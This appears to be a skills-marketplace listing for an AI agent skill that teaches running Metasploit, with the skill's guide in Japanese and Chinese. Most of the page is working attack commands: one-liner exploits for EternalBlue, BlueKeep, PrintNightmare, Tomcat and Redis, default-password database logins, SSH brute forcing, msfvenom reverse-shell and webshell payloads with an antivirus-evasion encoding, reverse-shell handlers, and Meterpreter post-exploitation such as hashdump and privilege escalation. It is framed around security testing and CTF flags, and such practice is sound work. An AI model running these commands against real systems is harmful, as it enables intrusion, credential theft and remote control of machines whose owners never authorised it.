mcpField
M
msf-oneshot

msf-oneshot

github.com/wgpsecセキュリティ1.8k45 回インストール4 日前に更新
リポジトリ

msf-oneshot について

Metasploit Framework を使ったセキュリティテストの実行ガイドです。脆弱性検査やエクスプロイト、ポストエクスプロイトを扱い、単発の msfconsole コマンドと interactive_session による継続的な操作を区別します。

主な機能

  1. 01単発の msfconsole コマンド
  2. 02永続的なインタラクティブセッション
  3. 03脆弱性検査とエクスプロイトの手順
  4. 04msfvenom によるペイロード生成
  5. 05Handler とセッションの管理

活用シーン

  1. 01スキャナーまたはエクスプロイトモジュールの単発実行
  2. 02リスナーの維持と Meterpreter セッションの操作
  3. 03ペイロード生成とポストエクスプロイト作業

MCP 対応

ガイドでは interactive_session を MCP ツールとして説明しており、永続セッションの開始、コマンド送信、出力読み取りに Handler や Meterpreter の操作で使用します。

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill msf-oneshot

インストール後、Claude Code で/msf-oneshotを入力して読み込まれたか確認します。

同梱ファイル

SKILL.md と一緒にインストールされる参考資料やスクリプト。

evals/
evals.json
recall.json
references/
meterpreter-operations.md
msf-modules.md

詳細

Metasploit Framework の呼び出し方法

MSF には 2 つの呼び出し方法があり、それぞれ異なる場面に適しています。

方法適した場面ツール
ワンライナー (msfconsole -q -x)単発の exploit、脆弱性検出、msfvenombash から直接実行
対話型 (interactive_session)Handler の待ち受け、Meterpreter セッション、ポストエクスプロイトinteractive_session MCP ツール

ワンライナーは「実行したらそのまま終了」でよい操作に適しており、実行後に自動で終了します。一方、handler の待ち受けや meterpreter によるポストエクスプロイトには継続的な対話が必要なため、ワンライナーでは対応できません(-x は実行後に終了し、& でバックグラウンド化しても出力を読み取れません)。その場合は interactive_session で永続的な tmux セッションを起動すると、いつでもコマンドを送信し、出力を読み取ることができます。

参考資料


Phase 1: ワンライナーの基本構文

# 基本格式:用分号连接多条 MSF 命令
msfconsole -q -x "use EXPLOIT; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# -q = 静默启动(不显示 banner)
# -x = 执行命令字符串
# exit = 执行完退出(重要!否则会挂起)
完全な例:EternalBlue (MS17-010)
msfconsole -q -x "
  use exploit/windows/smb/ms17_010_eternalblue;
  set RHOSTS 10.0.0.1;
  set LHOST 10.0.0.2;
  set PAYLOAD windows/x64/meterpreter/reverse_tcp;
  set LPORT 4444;
  run;
  exit
"

msfconsole の起動時には、モジュールライブラリの読み込みに 10~30 秒かかります。これは正常な動作です。

Phase 2: よくある脆弱性の悪用シナリオ

2.1 オペレーティングシステムレベルの脆弱性(Zone 3/4 で最もよく使用)
# MS17-010 EternalBlue(Windows SMB)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# MS08-067(Windows Server 2003/XP)
msfconsole -q -x "use exploit/windows/smb/ms08_067_netapi; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# BlueKeep(Windows RDP CVE-2019-0708)
msfconsole -q -x "use exploit/windows/rdp/cve_2019_0708_bluekeep_rce; set RHOSTS TARGET; set LHOST ATTACKER; set TARGET 2; run; exit"

# PrintNightmare(Windows Print Spooler)
msfconsole -q -x "use exploit/windows/dcerpc/cve_2021_1675_printnightmare; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.2 データベースへのリモート攻撃
# PostgreSQL 代码执行(默认口令 postgres/postgres)
msfconsole -q -x "use exploit/multi/postgres/postgres_copy_from_program_cmd_exec; set RHOSTS TARGET; set USERNAME postgres; set PASSWORD postgres; set LHOST ATTACKER; run; exit"

# MySQL UDF 提权(需要已知凭据)
msfconsole -q -x "use exploit/multi/mysql/mysql_udf_payload; set RHOSTS TARGET; set USERNAME root; set PASSWORD ''; set LHOST ATTACKER; run; exit"

# MSSQL xp_cmdshell
msfconsole -q -x "use exploit/windows/mssql/mssql_payload; set RHOSTS TARGET; set USERNAME sa; set PASSWORD password; set LHOST ATTACKER; run; exit"

# Redis 未授权写 SSH key / Webshell
msfconsole -q -x "use exploit/linux/redis/redis_replication_cmd_exec; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"
2.3 Web/ミドルウェアサービス
# Tomcat Manager 部署 WAR(需要凭据)
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS TARGET; set RPORT 8080; set HttpUsername tomcat; set HttpPassword tomcat; set LHOST ATTACKER; run; exit"

# JBoss 反序列化
msfconsole -q -x "use exploit/multi/http/jboss_invoke_deploy; set RHOSTS TARGET; set RPORT 8080; set LHOST ATTACKER; run; exit"

# Jenkins Script Console
msfconsole -q -x "use exploit/multi/http/jenkins_script_console; set RHOSTS TARGET; set RPORT 8080; set TARGETURI /; set LHOST ATTACKER; run; exit"
2.4 ネットワークサービス
# FTP vsftpd 2.3.4 后门
msfconsole -q -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOSTS TARGET; run; exit"

# Samba(CVE-2017-7494)
msfconsole -q -x "use exploit/linux/samba/is_known_pipename; set RHOSTS TARGET; set LHOST ATTACKER; run; exit"

# SSH 暴力破解
msfconsole -q -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS TARGET; set USERNAME root; set PASS_FILE /usr/share/wordlists/rockyou.txt; set STOP_ON_SUCCESS true; run; exit"

Phase 3: 脆弱性の検出(悪用せず、検出のみ)

auxiliary/scanner または check コマンドを使ってセキュリティ検査を行います。

# 检测 MS17-010 是否存在(不利用)
msfconsole -q -x "use auxiliary/scanner/smb/smb_ms17_010; set RHOSTS TARGET; run; exit"

# SMB 版本检测
msfconsole -q -x "use auxiliary/scanner/smb/smb_version; set RHOSTS TARGET; run; exit"

# 批量端口服务检测
msfconsole -q -x "use auxiliary/scanner/portscan/tcp; set RHOSTS TARGET; set PORTS 445,3389,1433,3306; run; exit"

# 使用 check 命令(部分 exploit 支持)
msfconsole -q -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOSTS TARGET; check; exit"

Phase 4: Payload の生成(msfvenom)

msfvenom には msfconsole は不要です。bash から直接呼び出します。

# Windows reverse shell EXE
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

# Linux reverse shell ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f elf -o shell.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.php

# JSP webshell(Tomcat WAR 部署用)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war

# Python reverse shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f raw -o shell.py

# 编码绕过(基础免杀)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -e x64/xor_dynamic -i 5 -f exe -o encoded.exe

Phase 5: Handler モード(interactive_session)

Handler はコールバックを待つために継続的な待ち受けが必要です。一行式の -x は実行後に終了するため、待ち受けを維持できません。この問題を解決するには、interactive_session で msfconsole の対話セッションを起動します。

典型的な流れ:payload を生成 → handler を起動 → payload を配信 → session を取得

Step 1: payload を生成(ワンライナー、Phase 4)

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER LPORT=4444 -f exe -o shell.exe

Step 2: handler を起動(対話型)

interactive_session(action="start", session_name="msf_handler", command="msfconsole -q")

msfconsole の読み込みが完了するまで 15~20 秒待ってから、handler を設定します。

interactive_session(action="send", session_name="msf_handler", command="use exploit/multi/handler", wait=3)
interactive_session(action="send", session_name="msf_handler", command="set PAYLOAD windows/x64/meterpreter/reverse_tcp", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LHOST 0.0.0.0", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set LPORT 4444", wait=2)
interactive_session(action="send", session_name="msf_handler", command="set ExitOnSession false", wait=2)
interactive_session(action="send", session_name="msf_handler", command="exploit -j", wait=5)

Handler はバックグラウンドで待ち受け中です。いつでも read で session のコールバックがあるか確認できます。

interactive_session(action="read", session_name="msf_handler")

Step 3: payload を配信

別の脆弱性(ファイルアップロード、RCE など)を使って shell.exe をターゲットに転送し、実行します。

Step 4: session を確認

interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)

meterpreter session が確立されたことを確認したら、Phase 6 のポストエクスプロイトに進みます。

ショートカット:-x で handler を起動

待ち受けだけが必要で、その後の対話が不要だと分かっている場合は、1 つのコマンドで起動することもできます。

interactive_session(action="start", session_name="msf_handler", command="msfconsole -q -x 'use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST 0.0.0.0; set LPORT 4444; set ExitOnSession false; exploit'")

これにより send を 1 つずつ実行する手間を省けますが、その後の対話には引き続き send/read を使います。

Phase 6: ポストエクスプロイト操作(interactive_session)

meterpreter session を取得したら、interactive_session でポストエクスプロイトコマンドを実行します。meterpreter は対話型シェルのため、永続セッションでのみ十分に活用できます。複雑な session 管理、ポートフォワーディング、SOCKS、Kiwi、resource script、multiple transports については、references/meterpreter-operations.md を参照してください。

session に入り、情報を収集する
interactive_session(action="send", session_name="msf_handler", command="sessions -i 1", wait=3)
interactive_session(action="send", session_name="msf_handler", command="sysinfo", wait=3)
interactive_session(action="send", session_name="msf_handler", command="getuid", wait=3)
interactive_session(action="send", session_name="msf_handler", command="ipconfig", wait=3)
よく使うポストエクスプロイト操作
# 文件系统操作
interactive_session(action="send", session_name="msf_handler", command="ls C:\\Users\\", wait=3)
interactive_session(action="send", session_name="msf_handler", command="download C:\\flag.txt /tmp/flag.txt", wait=5)
interactive_session(action="send", session_name="msf_handler", command="upload /tmp/tool.exe C:\\temp\\tool.exe", wait=5)

# 凭据提取(需要 SYSTEM 权限)
interactive_session(action="send", session_name="msf_handler", command="hashdump", wait=5)

# 提权
interactive_session(action="send", session_name="msf_handler", command="getsystem", wait=5)

# 网络信息(内网渗透前置)
interactive_session(action="send", session_name="msf_handler", command="arp", wait=3)
interactive_session(action="send", session_name="msf_handler", command="route", wait=3)

# 返回 MSF 主控台(保持 session 存活)
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)
セッション管理
# 列出所有 sessions
interactive_session(action="send", session_name="msf_handler", command="sessions -l", wait=3)

# 切换到另一个 session
interactive_session(action="send", session_name="msf_handler", command="sessions -i 2", wait=3)

# 批量执行低噪声确认命令
interactive_session(action="send", session_name="msf_handler", command="sessions -c whoami", wait=3)

# 返回主控台但保持 session 存活
interactive_session(action="send", session_name="msf_handler", command="background", wait=3)

# 结束操作后关闭 MSF
interactive_session(action="close", session_name="msf_handler")
代替手段:meterpreter を使わずにコマンドを実行する

対話型の meterpreter が不要で、1 つのコマンドを実行して flag を取得するだけであれば、コマンド実行 payload を直接生成するほうが簡単です。

msfvenom -p windows/x64/exec CMD="type C:\\flag.txt" -f exe -o cmd.exe
msfvenom -p linux/x64/exec CMD="cat /flag > /tmp/result.txt" -f elf -o cmd.elf

ワンライナーの handler と組み合わせてください(interactive_session は不要です)。

判断フロー:ワンライナーと interactive_session の使い分け

你要用 MSF 做什么?
│
├─ 执行单个 exploit(EternalBlue、Tomcat upload 等)
│   └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 漏洞检测 / auxiliary scanner
│   └→ 一行式 msfconsole -q -x "use ...; run; exit"
│
├─ 生成 payload(msfvenom)
│   └→ 直接 bash 调用 msfvenom,不需要 msfconsole
│
├─ 启动 handler 等待反弹 shell
│   └→ interactive_session 启动 msfconsole,配置 handler
│      (handler 需要持续监听,一行式做不到)
│
├─ Meterpreter 后渗透(sysinfo、hashdump、文件操作)
│   └→ interactive_session send/read 交互
│      (meterpreter 是交互式 shell,需要持久会话)
│
├─ 只想执行一条命令拿 flag(不需要交互)
│   └→ msfvenom -p .../exec CMD="..." 生成命令执行 payload
│      配合一行式 handler 或 nc 监听即可
│
└─ Web 应用漏洞 (SQLi/XSS/SSRF)
    └→ 不用 MSF,curl/sqlmap/手动脚本更快

よくある問題のトラブルシューティング

症状原因解決方法
Exploit completed, but no sessionPayload が停止された/ポートが使用中ポートまたは payload を変更し、ファイアウォールを確認
Connection refusedターゲットのポートが開いていない先に nmap でポートが開いていることを確認
msfconsole の起動がタイムアウトするデータベースへの接続が遅い--no-database を追加するか、待機
Payload がコールバックできないLHOST の誤り/ファイアウォールLHOST がターゲットから到達可能な IP であることを確認
interactive_session の read が空msfconsole の読み込み中wait を 15~20 秒に設定し、もう一度 read

コメント